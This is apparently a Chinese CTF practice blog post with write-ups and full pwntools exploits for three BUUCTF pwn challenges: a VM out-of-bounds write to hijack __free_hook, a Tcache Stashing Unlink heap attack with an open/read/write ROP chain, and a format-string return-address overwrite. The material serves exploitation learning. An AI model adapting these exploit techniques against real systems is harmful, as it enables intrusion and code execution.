buu寒假练习2

[OGeek2019 Final]OVM

这道vmpwn题分析起来并不难,输入一个整数,最高位的一字节对应着指令,剩下三个字节就对应寄存器和操作数,而漏洞也是很经典的数组越界。

我自己刚开始写的时候总想着先将got表中的值泄漏出来,得到libc的基地址后方便去写入system函数地址,程序虽然提供了打印寄存器这个指令,但是打印后会立马退出execute函数,这样就无法进一步去修改了;看到其他大佬写的wp后才反应过来可以利用got表中地址的偏移同样可以去修改。

攻击思路:

  1. 利用数组越界得到got表中的libc地址;
  2. 利用该地址加或者减去一段偏移得到__free_hook-8的地址;
  3. __free_hook-8的地址写入全局变量comment中;
  4. 退出execute函数打印寄存器的值,可以得到libc的基地址,利用程序最后会向comment中的地址写入值和free该地址的特点,写入字符串“/bin/sh”和system函数地址。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import*
elf = ELF('pwn1')
#libc = elf.libc
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
#p = process('./pwn')
p = remote('node4.buuoj.cn',25875)
#context.log_level = 'debug'

def sendcode(num):
if num > 0x7fffffff :
num = 0xffffffff - num + 1
num = str(num)
num = '-'+num
else :
num = str(num)
return num.encode()

p.sendlineafter(b'PCPC:', b'0')
p.sendlineafter(b'SP:', b'1')
p.sendlineafter(b'CODE SIZE:', b'20')
p.recvuntil(b'CODE:')

p.sendline(sendcode(0x10000038)) #reg0 = 0x38
p.sendline(sendcode(0x80010200)) #reg1 = reg2 - reg0
p.sendline(sendcode(0x30040001)) #reg4 = memory[reg1]
p.sendline(sendcode(0x10000001)) #reg0 = 1
p.sendline(sendcode(0x70010100)) #reg1 = reg1 + reg0
p.sendline(sendcode(0x30050001)) #reg5 = memory[reg1]

p.sendline(sendcode(0x10000001)) #reg0 = 1
p.sendline(sendcode(0x10010008)) #reg1 = 8
p.sendline(sendcode(0xc0000001)) #reg0 = reg0 << reg1
p.sendline(sendcode(0x10010009)) #reg1 = 9
p.sendline(sendcode(0x70000001)) #reg0 = reg0 + reg1
p.sendline(sendcode(0x10010004)) #reg1 = 4
p.sendline(sendcode(0xc0000001)) #reg0 = reg0 << reg1
p.sendline(sendcode(0x70040400)) #reg4 = reg4 + reg0

p.sendline(sendcode(0x10000008)) #reg0 = 8
p.sendline(sendcode(0x80010200)) #reg1 = reg2 - reg0
p.sendline(sendcode(0x40040001)) #memory[reg1] = reg4
p.sendline(sendcode(0x10000001)) #reg0 = 1
p.sendline(sendcode(0x70010100)) #reg1 = reg1 + reg0
p.sendline(sendcode(0x40050001)) #memory[reg1] = reg5

#p.sendline(sendcode(0xff000000))

p.recvuntil(b'R4: ')
leak = int(p.recv(8), 16)
p.recvuntil(b'R5: ')
leak = (int(p.recv(4), 16) << 32) + leak
libcbase = leak + 8 - libc.sym['__free_hook']
print(hex(libcbase))
sys_addr = libcbase + libc.sym['system']
#gdb.attach(p)
#pause()
p.sendafter(b'?\n', b'/bin/sh\x00' + p64(sys_addr))
#pause()
p.interactive()

hitcon_ctf_2019_one_punch

程序主要通过calloc分配堆块,分配时不会从tcache取出chunk;虽然有malloc函数,但必须满足tcache_perthread_struct中0x220大小的chunk的数量至少为7才可使用malloc分配,这样就无法直接去利用tcache去实现任意地址写。

Tcache Stashing Unlink Attack可以很好得解决上面的问题,具体请看:Tcache Stashing Unlink Attack利用思路-安全客 - 安全资讯平台 (anquanke.com)

这道题的思路就是先申请5个0x220大小的chunk放入tcache中,得到2个0x220大小small chunk后再修改small bin的最后一个 chunk的bk值 :

再次使用calloc时,会将修改的bk值也当作是一个真正的chunk放入tcache中:

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import*
elf = ELF('hitcon_ctf_2019_one_punch')
libc = elf.libc
#p = process('./hitcon_ctf_2019_one_punch')
p =remote('node4.buuoj.cn',27110)
#context.log_level = 'debug'
context.arch = 'amd64'

def debut(idx, name):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'idx:', str(idx).encode())
p.sendafter(b'name:', name)
def rename(idx, name):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'idx:', str(idx).encode())
p.sendafter(b'name:', name)
def show(idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'idx:', str(idx).encode())
def retire(idx):
p.sendlineafter(b'>', b'4')
p.sendlineafter(b'idx:', str(idx).encode())
def backdoor(content):
p.sendlineafter(b'>', b'50056')
p.send(content)

debut(0 ,b'a' * 0x210)
retire(0)
for i in range(4):
rename(0, p64(0) * 2)
retire(0)

debut(0, b'a' * 0x310)
debut(1, b'a' * 0x310)
retire(0)
retire(1)
show(1)
p.recvuntil(b'name: ')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x260 - 0x220

for i in range(6):
rename(0, p64(0) * 2)
retire(0)
show(0)
p.recvuntil(b'name: ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
libcbase = leak - 96 - 0x10 - libc.sym['__malloc_hook']
free_hook = libcbase + libc.sym['__free_hook']
malloc_hook = libcbase + libc.sym['__malloc_hook']
pop_rdi = libcbase + 0x26542
pop_rsi = libcbase + 0x26f9e
pop_rdx = libcbase + 0x12bda6
pop_rax = libcbase + 0x47cf8
syscall_ret = libcbase + 0xcf6c5

debut(1, b'a' * 0xf0)
debut(1, b'a' * 0x310)
debut(2, b'a' * 0x240)
retire(2)
retire(1)
for i in range(6):
rename(2, p64(0) * 2)
retire(2)
debut(1, b'a' * 0x320)
debut(1, b'a' * 0x310)
rename(2, p64(0) * 2)
retire(2)
retire(1)
debut(1, b'a' * 0x340)
debut(1, b'a' * 0x240)

payload = p64(0) * 5 + p64(0x221) + p64(heap_addr + 0x570) + p64(malloc_hook - 0x38)
rename(2, payload)
debut(1, b'flag'.ljust(0x210, b'\x00'))
payload = p64(0) * 5 + p64(libcbase + 0x99540)
backdoor(payload)

payload = flat(
p64(pop_rdi), p64(heap_addr + 0x580),
p64(pop_rsi), p64(0),
p64(pop_rax), p64(2),
p64(syscall_ret),

p64(pop_rdi), p64(3),
p64(pop_rsi), p64(heap_addr),
p64(pop_rdx), p64(0x30),
p64(pop_rax), p64(0),
p64(syscall_ret),

p64(pop_rdi), p64(1),
p64(pop_rsi), p64(heap_addr),
p64(pop_rdx), p64(0x30),
p64(pop_rax), p64(1),
p64(syscall_ret)
)
payload = payload.ljust(0x300, b'\x00')
debut(1, payload)
#pause()
p.interactive()

xman_2019_format

程序存在多个函数嵌套,而ebp中保存上一个函数栈的值,利用ebp的数据修改一定的偏移,将其指向返回地址,最后修改返回地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
elf = ELF('xman_2019_format')
global p
#context.log_level = 'debug'
num1 = 0x38
num2 = 0x39

def pwn():
payload = b'%10$p|'
payload += b'%' + str(num1 + 4).encode() + b'c%10$hhn|%' + str(0xab).encode() + b'c%18$hhn|%'
payload += str(num2 + 4).encode() + b'c%10$hhn|%' + str(0x85).encode() + b'c%18$hhn'
#gdb.attach(p)
#pause()
p.send(payload)
p.recvuntil(b'58', timeout=1)
#pause()
p.interactive()

while True:
try:
#p = process('./xman_2019_format')
p = remote('node4.buuoj.cn',27991)
pwn()
except Exception as e:
p.close()

buu寒假练习2
https://xtxtn.github.io/2023/01/07/buu2/
作者
xtxtn
发布于
2023年1月7日
更新于
2023年2月9日
许可协议